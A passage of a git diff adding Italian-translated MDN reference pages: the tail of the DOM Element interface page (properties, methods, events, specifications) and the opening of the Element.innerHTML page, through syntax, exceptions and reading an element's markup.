+ <dt>{{DOMxRef("Element.scrollLeftMax")}} {{Non-standard_Inline}} {{readOnlyInline}}</dt>
+ <dd>Returns a {{jsxref("Number")}} representing the maximum left scroll offset possible for the element.</dd>
+ <dt>{{DOMxRef("Element.scrollTop")}}</dt>
+ <dd>A {{jsxref("Number")}} representing number of pixels the top of the document is scrolled vertically.</dd>
+ <dt>{{DOMxRef("Element.scrollTopMax")}} {{Non-standard_Inline}} {{readOnlyInline}}</dt>
+ <dd>Returns a {{jsxref("Number")}} representing the maximum top scroll offset possible for the element.</dd>
+ <dt>{{DOMxRef("Element.scrollWidth")}} {{readOnlyInline}}</dt>
+ <dd>Returns a {{jsxref("Number")}} representing the scroll view width of the element.</dd>
+ <dt>{{DOMxRef("Element.shadowRoot")}}{{readOnlyInline}}</dt>
+ <dd>Returns the open shadow root that is hosted by the element, or null if no open shadow root is present.</dd>
+ <dt>{{DOMxRef("Element.openOrClosedShadowRoot")}} {{Non-standard_Inline}}{{readOnlyInline}}</dt>
+ <dd>Returns the shadow root that is hosted by the element, regardless if its open or closed. <strong>Available only to <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions">WebExtensions</a>.</strong></dd>
+ <dt>{{DOMxRef("Element.slot")}} {{Experimental_Inline}}</dt>
+ <dd>Returns the name of the shadow DOM slot the element is inserted in.</dd>
+ <dt>{{DOMxRef("Element.tabStop")}} {{Non-standard_Inline}}</dt>
+ <dd>Is a {{jsxref("Boolean")}} indicating if the element can receive input focus via the tab key.</dd>
+ <dt>{{DOMxRef("Element.tagName")}} {{readOnlyInline}}</dt>
+ <dd>Returns a {{jsxref("String")}} with the name of the tag for the given element.</dd>
+ <dt>{{DOMxRef("Element.undoManager")}} {{Experimental_Inline}} {{readOnlyInline}}</dt>
+ <dd>Returns the {{DOMxRef("UndoManager")}} associated with the element.</dd>
+ <dt>{{DOMxRef("Element.undoScope")}} {{Experimental_Inline}}</dt>
+ <dd>Is a {{jsxref("Boolean")}} indicating if the element is an undo scope host, or not.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note:</strong> DOM Level 3 defined <code>namespaceURI</code>, <code>localName</code> and <code>prefix</code> on the {{DOMxRef("Node")}} interface. In DOM4 they were moved to <code>Element</code>.</p>
+
+<p>This change is implemented in Chrome since version 46.0 and Firefox since version 48.0.</p>
+</div>
+
+<h3 id="Proprietà_incluse_da_Slotable">Proprietà incluse da Slotable</h3>
+
+<p><em>L'interfaccia <code>Element</code> include la seguente proprietà, definita nel  mixin {{DOMxRef("Slotable")}}.</em></p>
+
+<dl>
+ <dt>{{DOMxRef("Slotable.assignedSlot")}}{{readonlyInline}}</dt>
+ <dd>Restituisce un {{DOMxRef("HTMLSlotElement")}} che rappresenta lo {{htmlelement("slot")}} in cui è inserito il nodo.</dd>
+</dl>
+
+<h3 id="Handlers" name="Handlers">Gestori di eventi</h3>
+
+<dl>
+ <dt>{{domxref("Element.onfullscreenchange")}}</dt>
+ <dd>Un gestore di eventi per l'evento {{event("fullscreenchange")}} che viene inviato quando l'elemento entra o esce dalla modalità a schermo intero. Questo può essere usato per guardare sia le transizioni attese con successo, ma anche per osservare cambiamenti inaspettati, come quando l'app è in background.</dd>
+ <dt>{{domxref("Element.onfullscreenerror")}}</dt>
+ <dd>Un gestore di eventi per l'evento {{event("fullscreenerror")}} che viene inviato quando si verifica un errore durante il tentativo di passare alla modalità a schermo intero.</dd>
+</dl>
+
+<h4 id="Gestori_di_eventi_obsoleti">Gestori di eventi obsoleti</h4>
+
+<dl>
+ <dt>{{DOMxRef("Element.onwheel")}}</dt>
+ <dd>Restituisce il codice di gestione degli eventi per l'evento {{Event("wheel")}}. <strong>Questo è ora implementato su {{DOMxRef("GlobalEventHandlers.onwheel", "GlobalEventHandlers")}}.</strong></dd>
+</dl>
+
+<h2 id="Methods" name="Methods">Metodi</h2>
+
+<p><em>Inherits methods from its parents {{DOMxRef("Node")}}, and its own parent, {{DOMxRef("EventTarget")}}<em>, and implements those of {{DOMxRef("ParentNode")}}, {{DOMxRef("ChildNode")}}<em>, {{DOMxRef("NonDocumentTypeChildNode")}}, </em></em>and {{DOMxRef("Animatable")}}.</em></p>
+
+<dl>
+ <dt>{{DOMxRef("EventTarget.addEventListener()")}}</dt>
+ <dd>Registers an event handler to a specific event type on the element.</dd>
+ <dt>{{DOMxRef("Element.attachShadow()")}}</dt>
+ <dd>Attatches a shadow DOM tree to the specified element and returns a reference to its {{DOMxRef("ShadowRoot")}}.</dd>
+ <dt>{{DOMxRef("Element.animate()")}} {{Experimental_Inline}}</dt>
+ <dd>A shortcut method to create and run an animation on an element. Returns the created Animation object instance.</dd>
+ <dt>{{DOMxRef("Element.closest()")}} {{Experimental_Inline}}</dt>
+ <dd>Returns the {{DOMxRef("Element")}} which is the closest ancestor of the current element (or the current element itself) which matches the selectors given in parameter.</dd>
+ <dt>{{DOMxRef("Element.createShadowRoot()")}} {{Non-standard_Inline}} {{Deprecated_Inline}}</dt>
+ <dd>Creates a <a href="/en-US/docs/Web/Web_Components/Shadow_DOM">shadow DOM</a> on on the element, turning it into a shadow host. Returns a {{DOMxRef("ShadowRoot")}}.</dd>
+ <dt>{{DOMxRef("Element.computedStyleMap()")}} {{Experimental_Inline}}</dt>
+ <dd>Returns a {{DOMxRef("StylePropertyMapReadOnly")}} interface which provides a read-only representation of a CSS declaration block that is an alternative to {{DOMxRef("CSSStyleDeclaration")}}.</dd>
+ <dt>{{DOMxRef("EventTarget.dispatchEvent()")}}</dt>
+ <dd>Dispatches an event to this node in the DOM and returns a {{jsxref("Boolean")}} that indicates whether no handler canceled the event.</dd>
+ <dt>{{DOMxRef("Element.getAnimations()")}} {{Experimental_Inline}}</dt>
+ <dd>Returns an array of Animation objects currently active on the element.</dd>
+ <dt>{{DOMxRef("Element.getAttribute()")}}</dt>
+ <dd>Retrieves the value of the named attribute from the current node and returns it as an {{jsxref("Object")}}.</dd>
+ <dt>{{DOMxRef("Element.getAttributeNames()")}}</dt>
+ <dd>Returns an array of attribute names from the current element.</dd>
+ <dt>{{DOMxRef("Element.getAttributeNS()")}}</dt>
+ <dd>Retrieves the value of the attribute with the specified name and namespace, from the current node and returns it as an {{jsxref("Object")}}.</dd>
+ <dt>{{DOMxRef("Element.getAttributeNode()")}} {{Obsolete_Inline}}</dt>
+ <dd>Retrieves the node representation of the named attribute from the current node and returns it as an {{DOMxRef("Attr")}}.</dd>
+ <dt>{{DOMxRef("Element.getAttributeNodeNS()")}} {{Obsolete_Inline}}</dt>
+ <dd>Retrieves the node representation of the attribute with the specified name and namespace, from the current node and returns it as an {{DOMxRef("Attr")}}.</dd>
+ <dt>{{DOMxRef("Element.getBoundingClientRect()")}}</dt>
+ <dd>Returns the size of an element and its position relative to the viewport.</dd>
+ <dt>{{DOMxRef("Element.getClientRects()")}}</dt>
+ <dd>Returns a collection of rectangles that indicate the bounding rectangles for each line of text in a client.</dd>
+ <dt>{{DOMxRef("Element.getElementsByClassName()")}}</dt>
+ <dd>Returns a live {{DOMxRef("HTMLCollection")}} that contains all descendants of the current element that possess the list of classes given in the parameter.</dd>
+ <dt>{{DOMxRef("Element.getElementsByTagName()")}}</dt>
+ <dd>Returns a live {{DOMxRef("HTMLCollection")}} containing all descendant elements, of a particular tag name, from the current element.</dd>
+ <dt>{{DOMxRef("Element.getElementsByTagNameNS()")}}</dt>
+ <dd>Returns a live {{DOMxRef("HTMLCollection")}} containing all descendant elements, of a particular tag name and namespace, from the current element.</dd>
+ <dt>{{DOMxRef("Element.hasAttribute()")}}</dt>
+ <dd>Returns a {{jsxref("Boolean")}} indicating if the element has the specified attribute or not.</dd>
+ <dt>{{DOMxRef("Element.hasAttributeNS()")}}</dt>
+ <dd>Returns a {{jsxref("Boolean")}} indicating if the element has the specified attribute, in the specified namespace, or not.</dd>
+ <dt>{{DOMxRef("Element.hasAttributes()")}}</dt>
+ <dd>Returns a {{jsxref("Boolean")}} indicating if the element has one or more HTML attributes present.</dd>
+ <dt>{{DOMxRef("Element.hasPointerCapture()")}}</dt>
+ <dd>Indicates whether the element on which it is invoked has pointer capture for the pointer identified by the given pointer ID.</dd>
+ <dt>{{DOMxRef("Element.insertAdjacentElement()")}}</dt>
+ <dd>Inserts a given element node at a given position relative to the element it is invoked upon.</dd>
+ <dt>{{DOMxRef("Element.insertAdjacentHTML()")}}</dt>
+ <dd>Parses the text as HTML or XML and inserts the resulting nodes into the tree in the position given.</dd>
+ <dt>{{DOMxRef("Element.insertAdjacentText()")}}</dt>
+ <dd>Inserts a given text node at a given position relative to the element it is invoked upon.</dd>
+ <dt>{{DOMxRef("Element.matches()")}} {{Experimental_Inline}}</dt>
+ <dd>Returns a {{jsxref("Boolean")}} indicating whether or not the element would be selected by the specified selector string.</dd>
+ <dt>{{DOMxRef("Element.querySelector()")}}</dt>
+ <dd>Returns the first {{DOMxRef("Node")}} which matches the specified selector string relative to the element.</dd>
+ <dt>{{DOMxRef("Element.querySelectorAll()")}}</dt>
+ <dd>Returns a {{DOMxRef("NodeList")}} of nodes which match the specified selector string relative to the element.</dd>
+ <dt>{{DOMxRef("Element.releasePointerCapture()")}}</dt>
+ <dd>Releases (stops) pointer capture that was previously set for a specific {{DOMxRef("PointerEvent","pointer event")}}.</dd>
+ <dt>{{DOMxRef("ChildNode.remove()")}} {{Experimental_Inline}}</dt>
+ <dd>Removes the element from the children list of its parent.</dd>
+ <dt>{{DOMxRef("Element.removeAttribute()")}}</dt>
+ <dd>Removes the named attribute from the current node.</dd>
+ <dt>{{DOMxRef("Element.removeAttributeNS()")}}</dt>
+ <dd>Removes the attribute with the specified name and namespace, from the current node.</dd>
+ <dt>{{DOMxRef("Element.removeAttributeNode()")}} {{Obsolete_Inline}}</dt>
+ <dd>Removes the node representation of the named attribute from the current node.</dd>
+ <dt>{{DOMxRef("EventTarget.removeEventListener()")}}</dt>
+ <dd>Removes an event listener from the element.</dd>
+ <dt>{{DOMxRef("Element.requestFullscreen()")}} {{Experimental_Inline}}</dt>
+ <dd>Asynchronously asks the browser to make the element full-screen.</dd>
+ <dt>{{DOMxRef("Element.requestPointerLock()")}} {{Experimental_Inline}}</dt>
+ <dd>Allows to asynchronously ask for the pointer to be locked on the given element.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Element.scroll()")}}</dt>
+ <dd>Scrolls to a particular set of coordinates inside a given element.</dd>
+ <dt>{{domxref("Element.scrollBy()")}}</dt>
+ <dd>Scrolls an element by the given amount.</dd>
+ <dt>{{DOMxRef("Element.scrollIntoView()")}} {{Experimental_Inline}}</dt>
+ <dd>Scrolls the page until the element gets into the view.</dd>
+ <dt>{{domxref("Element.scrollTo()")}}</dt>
+ <dd>Scrolls to a particular set of coordinates inside a given element.</dd>
+ <dt>{{DOMxRef("Element.setAttribute()")}}</dt>
+ <dd>Sets the value of a named attribute of the current node.</dd>
+ <dt>{{DOMxRef("Element.setAttributeNS()")}}</dt>
+ <dd>Sets the value of the attribute with the specified name and namespace, from the current node.</dd>
+ <dt>{{DOMxRef("Element.setAttributeNode()")}} {{Obsolete_Inline}}</dt>
+ <dd>Sets the node representation of the named attribute from the current node.</dd>
+ <dt>{{DOMxRef("Element.setAttributeNodeNS()")}} {{Obsolete_Inline}}</dt>
+ <dd>Sets the node representation of the attribute with the specified name and namespace, from the current node.</dd>
+ <dt>{{DOMxRef("Element.setCapture()")}} {{Non-standard_Inline}}</dt>
+ <dd>Sets up mouse event capture, redirecting all mouse events to this element.</dd>
+ <dt>{{DOMxRef("Element.setPointerCapture()")}}</dt>
+ <dd>Designates a specific element as the capture target of future <a href="/en-US/docs/Web/API/Pointer_events">pointer events</a>.</dd>
+ <dt>{{DOMxRef("Element.toggleAttribute()")}}</dt>
+ <dd>Toggles a boolean attribute, removing it if it is present and adding it if it is not present, on the specified element.</dd>
+</dl>
+
+<h2 id="Events">Events</h2>
+
+<p>Listen to these events using <code>addEventListener()</code> or by assigning an event listener to the <code>on<em>eventname</em></code> property of this interface.</p>
+
+<dl>
+ <dt>{{domxref("Element/cancel_event", "cancel")}}</dt>
+ <dd>Fires on a {{HTMLElement("dialog")}} when the user instructs the browser that they wish to dismiss the current open dialog. For example, the browser might fire this event when the user presses the <kbd>Esc</kbd> key or clicks a "Close dialog" button which is part of the browser's UI.<br>
+ Also available via the {{domxref("GlobalEventHandlers/oncancel", "oncancel")}} property.</dd>
+ <dt><code><a href="/en-US/docs/Web/API/Element/error_event">error</a></code></dt>
+ <dd>Fired when when a resource failed to load, or can't be used. For example, if a script has an execution error or an image can't be found or is invalid.<br>
+ Also available via the {{domxref("GlobalEventHandlers/onerror", "onerror")}} property.</dd>
+ <dt>{{domxref("Element/scroll_event", "scroll")}}</dt>
+ <dd>Fired when the document view or an element has been scrolled.<br>
+ Also available via the {{DOMxRef("GlobalEventHandlers.onscroll", "onscroll")}} property.</dd>
+ <dt>{{domxref("Element/select_event", "select")}}</dt>
+ <dd>Fired when some text has been selected.<br>
+ Also available via the {{DOMxRef("GlobalEventHandlers.onselect", "onselect")}} property.</dd>
+ <dt>{{domxref("Element/show_event", "show")}}</dt>
+ <dd>Fired when a <a href="https://developer.mozilla.org/en-US/docs/Mozilla_event_reference/contextmenu" title="/en-US/docs/Mozilla_event_reference/contextmenu">contextmenu</a> event was fired on/bubbled to an element that has a <a href="https://developer.mozilla.org/en-US/DOM/element.contextmenu" title="/en-US/docs/Mozilla_event_reference/contextmenu">contextmenu</a> attribute.<br>
+ Also available via the {{DOMxRef("GlobalEventHandlers.onshow", "onshow")}} property.</dd>
+ <dt>{{domxref("Element/wheel_event","wheel")}}</dt>
+ <dd>Fired when the user rotates a wheel button on a pointing device (typically a mouse).<br>
+ Also available via the {{DOMxRef("GlobalEventHandlers.onwheel", "onwheel")}}</dd>
+</dl>
+
+<h3 id="Clipboard_events">Clipboard events</h3>
+
+<dl>
+ <dt>{{domxref("Element/copy_event", "copy")}}</dt>
+ <dd>Fired when the user initiates a copy action through the browser's user interface.<br>
+ Also available via the {{domxref("HTMLElement/oncopy", "oncopy")}} property.</dd>
+ <dt>{{domxref("Element/cut_event", "cut")}}</dt>
+ <dd>Fired when the user initiates a cut action through the browser's user interface.<br>
+ Also available via the {{domxref("HTMLElement/oncut", "oncut")}} property.</dd>
+ <dt>{{domxref("Element/paste_event", "paste")}}</dt>
+ <dd>Fired when the user initiates a paste action through the browser's user interface.<br>
+ Also available via the {{domxref("HTMLElement/onpaste", "onpaste")}} property.</dd>
+</dl>
+
+<h3 id="Composition_events">Composition events</h3>
+
+<dl>
+ <dt>{{domxref("Element/compositionend_event", "compositionend")}}</dt>
+ <dd>Fired when a text composition system such as an {{glossary("input method editor")}} completes or cancels the current composition session.</dd>
+ <dt>{{domxref("Element/compositionstart_event", "compositionstart")}}</dt>
+ <dd>Fired when a text composition system such as an {{glossary("input method editor")}} starts a new composition session.</dd>
+ <dt>{{domxref("Element/compositionupdate_event", "compositionupdate")}}</dt>
+ <dd>Fired when a new character is received in the context of a text composition session controlled by a text composition system such as an {{glossary("input method editor")}}.</dd>
+</dl>
+
+<h3 id="Focus_events">Focus events</h3>
+
+<dl>
+ <dt>{{domxref("Element/blur_event", "blur")}}</dt>
+ <dd>Fired when an element has lost focus.<br>
+ Also available via the {{domxref("GlobalEventHandlers/onblur", "onblur")}} property.</dd>
+ <dt>{{domxref("Element/focus_event", "focus")}}</dt>
+ <dd>Fired when an element has gained focus.<br>
+ Also available via the {{domxref("GlobalEventHandlers/onfocus", "onfocus")}} property</dd>
+ <dt>{{domxref("Element/focusin_event", "focusin")}}</dt>
+ <dd>Fired when an element is about to gain focus.</dd>
+ <dt>{{domxref("Element/focusout_event", "focusout")}}</dt>
+ <dd>Fired when an element is about to lose focus.</dd>
+</dl>
+
+<h3 id="Fullscreen_events">Fullscreen events</h3>
+
+<dl>
+ <dt>{{domxref("Element/fullscreenchange_event", "fullscreenchange")}}</dt>
+ <dd>Sent to a {{domxref("Document")}} or {{domxref("Element")}} when it transitions into or out of full-screen mode.<br>
+ Also available via the {{domxref("Element.onfullscreenchange", "onfullscreenchange")}}  property.</dd>
+ <dt>{{domxref("Element/fullscreenerror_event", "fullscreenerror")}}</dt>
+ <dd>Sent to a <code>Document</code> or <code>Element</code> if an error occurs while attempting to switch it into or out of full-screen mode.<br>
+ Also available via the {{domxref("Document.onfullscreenerror", "onfullscreenerror")}} property.</dd>
+</dl>
+
+<h3 id="Mouse_events">Mouse events</h3>
+
+<dl>
+ <dt>{{domxref("Element/Activate_event", "Activate")}}</dt>
+ <dd>Occurs when an element is activated, for instance, through a mouse click or a keypress.<br>
+ Also available via the {{domxref("ServiceWorkerGlobalScope/onactivate", "onactivate")}} property.</dd>
+ <dt>{{domxref("Element/auxclick_event", "auxclick")}}</dt>
+ <dd>Fired when a non-primary pointing device button (e.g., any mouse button other than the left button) has been pressed and released on an element.<br>
+ Also available via the {{domxref("GlobalEventHandlers/onauxclick", "onauxclick")}} property.</dd>
+ <dt>{{domxref("Element/click_event", "click")}}</dt>
+ <dd>Fired when a pointing device button (e.g., a mouse's primary button) is pressed and released on a single element.<br>
+ Also available via the {{domxref("GlobalEventHandlers/onclick", "onclick")}} property.</dd>
+ <dt>{{domxref("Element/contextmenu_event", "contextmenu")}}</dt>
+ <dd>Fired when the user attempts to open a context menu.<br>
+ Also available via the {{domxref("GlobalEventHandlers/oncontextmenu", "oncontextmenu")}} property.</dd>
+ <dt>{{domxref("Element/dblclick_event", "dblclick")}}</dt>
+ <dd>Fired when a pointing device button (e.g., a mouse's primary button) is clicked twice on a single element.<br>
+ Also available via the {{domxref("GlobalEventHandlers/ondblclick", "ondblclick")}} property.</dd>
+ <dt>{{domxref("Element/mousedown_event", "mousedown")}}</dt>
+ <dd>Fired when a pointing device button is pressed on an element.<br>
+ Also available via the {{domxref("GlobalEventHandlers/onmousedown", "onmousedown")}} property.</dd>
+ <dt>{{domxref("Element/mouseenter_event", "mouseenter")}}</dt>
+ <dd>Fired when a pointing device (usually a mouse) is moved over the element that has the listener attached.<br>
+ Also available via the {{domxref("GlobalEventHandlers/onmouseenter", "onmouseenter")}} property.</dd>
+ <dt>{{domxref("Element/mouseleave_event", "mouseleave")}}</dt>
+ <dd>Fired when the pointer of a pointing device (usually a mouse) is moved out of an element that has the listener attached to it.<br>
+ Also available via the {{domxref("GlobalEventHandlers/onmouseleave", "onmouseleave")}} property.</dd>
+ <dt>{{domxref("Element/mousemove_event", "mousemove")}}</dt>
+ <dd>Fired when a pointing device (usually a mouse) is moved while over an element.<br>
+ Also available via the {{domxref("GlobalEventHandlers/onmousemove", "onmousemove")}} property.</dd>
+ <dt>{{domxref("Element/mouseout_event", "mouseout")}}</dt>
+ <dd>Fired when a pointing device (usually a mouse) is moved off the element to which the listener is attached or off one of its children.<br>
+ Also available via the {{domxref("GlobalEventHandlers/onmouseout", "onmouseout")}} property.</dd>
+ <dt>{{domxref("Element/mouseover_event", "mouseover")}}</dt>
+ <dd>Fired when a pointing device is moved onto the element to which the listener is attached or onto one of its children.<br>
+ Also available via the {{domxref("GlobalEventHandlers/onmouseover", "onmouseover")}} property.</dd>
+ <dt>{{domxref("Element/mouseup_event", "mouseup")}}</dt>
+ <dd>Fired when a pointing device button is released on an element.<br>
+ Also available via the {{domxref("GlobalEventHandlers/onmouseup", "onmouseup")}} property.</dd>
+ <dt>{{domxref("Element/webkitmouseforcechanged_event", "webkitmouseforcechanged")}}</dt>
+ <dd>Fired each time the amount of pressure changes on the trackpadtouchscreen.</dd>
+ <dt>{{domxref("Element/webkitmouseforcedown_event", "webkitmouseforcedown")}}</dt>
+ <dd>Fired after the mousedown event as soon as sufficient pressure has been applied to qualify as a "force click".</dd>
+ <dt>{{domxref("Element/webkitmouseforcewillbegin_event", "webkitmouseforcewillbegin")}}</dt>
+ <dd>Fired before the {{domxref("Element/mousedown_event", "mousedown")}} event.</dd>
+ <dt>{{domxref("Element/webkitmouseforceup_event", "webkitmouseforceup")}}</dt>
+ <dd>Fired after the {{domxref("Element/webkitmouseforcedown_event", "webkitmouseforcedown")}} event as soon as the pressure has been reduced sufficiently to end the "force click".</dd>
+</dl>
+
+<h3 id="Touch_events">Touch events</h3>
+
+<dl>
+ <dt>{{domxref("Element/touchcancel_event", "touchcancel")}}</dt>
+ <dd>Fired when one or more touch points have been disrupted in an implementation-specific manner (for example, too many touch points are created).<br>
+ Also available via the {{domxref("GlobalEventHandlers/ontouchcancel", "ontouchcancel")}} property.</dd>
+ <dt>{{domxref("Element/touchend_event", "touchend")}}</dt>
+ <dd>Fired when one or more touch points are removed from the touch surface.<br>
+ Also available via the {{domxref("GlobalEventHandlers/ontouchend", "ontouchend")}} property</dd>
+ <dt>{{domxref("Element/touchmove_event", "touchmove")}}</dt>
+ <dd>Fired when one or more touch points are moved along the touch surface.<br>
+ Also available via the {{domxref("GlobalEventHandlers/ontouchmove", "ontouchmove")}} property</dd>
+ <dt>{{domxref("Element/touchstart_event", "touchstart")}}</dt>
+ <dd>Fired when one or more touch points are placed on the touch surface.<br>
+ Also available via the {{domxref("GlobalEventHandlers/ontouchstart", "ontouchstart")}} property</dd>
+</dl>
+
+<dl>
+ <dt> </dt>
+</dl>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Web Animations", '', '')}}</td>
+   <td>{{Spec2("Web Animations")}}</td>
+   <td>Aggiunto il metodo <code>getAnimations()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Undo Manager', '', 'Element')}}</td>
+   <td>{{Spec2('Undo Manager')}}</td>
+   <td>Aggiunge le proprietà <code>undoScope</code> e <code>undoManager</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Pointer Events 2', '#extensions-to-the-element-interface', 'Element')}}</td>
+   <td>{{Spec2('Pointer Events 2')}}</td>
+   <td>Aggiunti i seguenti gestori di eventi: <code>ongotpointercapture</code> and <code>onlostpointercapture</code>.<br>
+    Aggiunti i seguenti metodi: <code>setPointerCapture()</code> e <code>releasePointerCapture()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Pointer Events', '#extensions-to-the-element-interface', 'Element')}}</td>
+   <td>{{Spec2('Pointer Events')}}</td>
+   <td>Aggiunti i seguenti gestori di eventi: <code>ongotpointercapture</code> e <code>onlostpointercapture</code>.<br>
+    Aggiunti i seguenti metodi: <code>setPointerCapture()</code> e <code>releasePointerCapture()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Selectors API Level 1', '#interface-definitions', 'Element')}}</td>
+   <td>{{Spec2('Selectors API Level 1')}}</td>
+   <td>Aggiunti i seguenti metodi: <code>querySelector()</code> e <code>querySelectorAll()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Pointer Lock', 'index.html#element-interface', 'Element')}}</td>
+   <td>{{Spec2('Pointer Lock')}}</td>
+   <td>Aggiunto il metodo <code>requestPointerLock()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fullscreen', '#api', 'Element')}}</td>
+   <td>{{Spec2('Fullscreen')}}</td>
+   <td>Aggiunto il metodo <code>requestFullscreen()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM Parsing', '#extensions-to-the-element-interface', 'Element')}}</td>
+   <td>{{Spec2('DOM Parsing')}}</td>
+   <td>Aggiunte le seguenti proprietà: <code>innerHTML</code>, e <code>outerHTML</code>.<br>
+    Aggiunti i seguenti metodi: <code>insertAdjacentHTML()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#extensions-to-the-element-interface', 'Element')}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+   <td>Aggiunte le seguenti proprietà: <code>scrollTop</code>, <code>scrollLeft</code>, <code>scrollWidth</code>, <code>scrollHeight</code>, <code>clientTop</code>, <code>clientLeft</code>, <code>clientWidth</code>, and <code>clientHeight</code>.<br>
+    Aggiunti i seguenti metodi: <code>getClientRects()</code>, <code>getBoundingClientRect()</code>, <code>scroll()</code>, <code>scrollBy()</code>, <code>scrollTo()</code> and <code>scrollIntoView()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Element Traversal', '#ecmascript-bindings', 'Element')}}</td>
+   <td>{{Spec2('Element Traversal')}}</td>
+   <td>Aggiunta ereditarietà dell'interfaccia {{DOMxRef("ElementTraversal")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-element', 'Element')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Aggiunti i seguenti metodi: <code>closest()</code>, <code>insertAdjacentElement()</code> and <code>insertAdjacentText()</code>.<br>
+    Spostato <code>hasAttributes()</code> dall'interfaccia <code>Node</code> a questa.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM4", "#interface-element", "Element")}}</td>
+   <td>{{Spec2("DOM4")}}</td>
+   <td>Rimossi i seguenti metodi: <code>setIdAttribute()</code>, <code>setIdAttributeNS()</code>, and <code>setIdAttributeNode()</code>.<br>
+    Modificato il valore di ritorno di <code>getElementsByTagName()</code> e <code>getElementsByTagNameNS()</code>.<br>
+    Rimossa la proprietà <code>schemaTypeInfo</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-745549614', 'Element')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Aggiunti i seguenti metodi: <code>setIdAttribute()</code>, <code>setIdAttributeNS()</code>, and <code>setIdAttributeNode()</code>. Questi metodi non sono mai stati implementati e sono stati rimossi nelle specifiche successive.<br>
+    Aggiunta la proprietà <code>schemaTypeInfo</code>. Questa proprietà non è mai stata implementata ed è stata rimossa nelle specifiche successive.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-745549614', 'Element')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Il metodo <code>normalize()</code> è stato spostato su {{DOMxRef("Node")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-745549614', 'Element')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Definizione iniziale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+
+
+<p>{{Compat("api.Element")}}</p>
diff --git a/files/it/web/api/element/innerhtml/index.html b/files/it/web/api/element/innerhtml/index.html
new file mode 100644
index 0000000000..6fbdb3c47b
--- /dev/null
+++ b/files/it/web/api/element/innerhtml/index.html
@@ -0,0 +1,213 @@
+---
+title: Element.innerHTML
+slug: Web/API/Element/innerHTML
+tags:
+  - API
+  - DOM
+  - DOM Parsing
+  - Element
+  - Parsing HTML
+  - Proprietà
+  - Referenza
+  - innerHTML
+translation_of: Web/API/Element/innerHTML
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><span class="seoSummary">La proprietà {{domxref("Element")}} <strong><code>innerHTML</code></strong> ottiene o imposta il markup HTML o XML contenuto all'interno dell'elemento.</span></p>
+
+<div class="note"><strong>Note: </strong>Se un {{HTMLElement("div")}}, {{HTMLElement("span")}}, o {{HTMLElement("noembed")}} ha un nodo di testo figlio che include i caratteri <code>(&amp;)</code>, <code>(&lt;)</code>, o <code>(&gt;)</code>, <code>innerHTML</code> restituisce questi caratteri come entità HTML <code>"&amp;amp;"</code>, <code>"&amp;lt;"</code> e <code>"&amp;gt;"</code> rispettivamente. Usa {{domxref("Node.textContent")}} per ottenere una copia non elaborata del contenuto di questi nodi di testo.</div>
+
+<p>Per inserire l'HTML nel documento invece di sostituire il contenuto di un elemento, utilizza il metodo {{domxref("Element.insertAdjacentHTML", "insertAdjacentHTML()")}}.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox">const <var>content</var> = <var>element</var>.innerHTML;
+
+<var>element</var>.innerHTML = <var>htmlString</var>;
+</pre>
+
+<h3 id="Valore">Valore</h3>
+
+<p>Una {{domxref("DOMString")}} contenente la serializzazione HTML dei discendenti dell'elemento. L'impostazione del valore di <code>innerHTML</code> rimuove tutti i discendenti dell'elemento e li sostituisce con i nodi creati analizzando l'HTML fornito nella stringa <var>htmlString</var>.</p>
+
+<h3 id="Eccezioni">Eccezioni</h3>
+
+<dl>
+ <dt><code>SyntaxError</code></dt>
+ <dd>È stato effettuato un tentativo di impostare il valore di <code>innerHTML</code> utilizzando una stringa che non è HTML correttamente formato.</dd>
+ <dt><code>NoModificationAllowedError</code></dt>
+ <dd>È stato effettuato un tentativo di inserire l'HTML in un nodo il cui padre è {{domxref("Document")}}.</dd>
+</dl>
+
+<h2 id="Note_di_utilizzo">Note di utilizzo</h2>
+
+<p>La proprietà <code>innerHTML</code> può essere utilizzata per esaminare il codice sorgente HTML corrente della pagina, comprese le eventuali modifiche apportate da quando la pagina è stata inizialmente caricata.</p>
+
+<h3 id="Leggere_i_contenuti_HTML_di_un_elemento">Leggere i contenuti HTML di un elemento</h3>
+
+<p>La lettura di <code>innerHTML</code> fa sì che l'user agent serializzi il fragment HTML o XML composto dai discendenti di elment. La stringa risultante viene restituita.</p>
+
+<pre class="brush: js">let contents = myElement.innerHTML;</pre>
+
+<p>Questo ti permette di guardare il markup HTML dei nodi di contenuto dell'elemento.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Il fragment HTML o XML restituito viene generato in base al contenuto corrente dell'elemento, pertanto è probabile che la marcatura e la formattazione del frammento restituito non corrispondano al markup della pagina originale.</p>
+</div>
+
